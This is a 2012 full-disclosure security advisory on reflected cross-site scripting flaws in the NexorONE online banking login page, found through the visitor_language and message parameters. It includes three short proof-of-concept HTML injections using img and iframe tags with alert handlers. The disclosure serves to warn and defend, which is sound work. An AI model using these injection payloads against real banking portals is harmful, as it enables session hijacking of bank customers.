full-disclosure - NexorONE Online Banking - Multiple Cross Site Vulnerabilities

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Date: Sun, 05 Feb 2012 19:09:49 +0100
From: "research@...nerability-lab.com" <research@...nerability-lab.com>
To: full-disclosure@...ts.grok.org.uk
Subject: NexorONE Online Banking - Multiple Cross Site
	Vulnerabilities

Title:
======
NexorONE Online Banking - Multiple Cross Site Vulnerabilities

Date:
=====
2012-02-04

References:
===========
http://www.vulnerability-lab.com/get_content.php?id=304

VL-ID:
=====
304

Introduction:
=============
NexorONE is the leading online banking software provider for Private International banks, Offshore Financian Institutions,
Savings and Loans, Credit unions, Investmenet Fund Managers and Payement Processing Companies.

NexorONE has already been demployed to more than 200 financial entities worldwide, spread out throught 20 countries and in
12 different languages. with this market experience we know we can fulfill your business demands.

(Copy of the Vendor Homepage: https://www.nexorone.com/ )

Abstract:
=========
Vulnerability-Lab Team (Chokri B.A.) discovered multiple non-persistent Cross Site Scripting vulnerabilities on the NexorONE Online Banking Software.

Report-Timeline:
================
2011-10-05:	Vendor Notification 1
2011-11-13:	Vendor Notification 2
2011-12-17:	Vendor Notification 3
2012-02-04:	Public or Non-Public Disclosure

Status:
========
Published

Exploitation-Technique:
=======================
Remote

Severity:
=========
Medium

Details:
========
A non-persistent cross site scripting vulnerability is detected on the NexorONE Online Banking Software. 
Successful exploitation of the vulnerability allows an attacker to hijack user/mod/admin sessions of the portal.

Vulnerable file(s):
							[+] login.php

Vulnerable Param(s):
							[+] ?visitor_language=
							[+] ?message=

Picture(s):
							../1.png
							../2.png
							../3.png

Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers with required user inter action. For demonstration or reproduce ...

PoC 1:
<div class="login_line2">_QUESTION_NEW_CUSTOMER <a href="register.php?visitor_language=english\
"><img src=http://www.vulnerability-lab.com/gfx/partners/vlab.png>" tabindex="4">_REGISTER</a>	 <=[x]
</div></form>

PoC 2:
<div class="login_line2">_QUESTION_NEW_CUSTOMER <a href="register.php?visitor_language=english\\\
"><iframe src=http://www.vulnerability-lab.com onload=alert(vulnerabilitylab) height=800px width=900px>	 <=[x]
" tabindex="4">_REGISTER</a></div></form>

PoC 3:
<div id="login">
<table cellspacing="0" class="message"><tr><td><center>Registration_successful>
<iframe src=http://www.vulnerability-lab.com onload=\"alert(vulnerabilitylab);\" height=\"800px\" width=\"900px\">	 <=[x]
</center></td></tr></table>

Risk:
=====
The security risk of the non-reflective cross site scripting vulnerabilities are estimated as medium.

Credits:
========
Vulnerability Research Laboratory - Chokri B.A. (Me!ster the White)

Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

    						Copyright © 2012|Vulnerability-Lab

-- 
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@...nerability-lab.com or support@...nerability-lab.com

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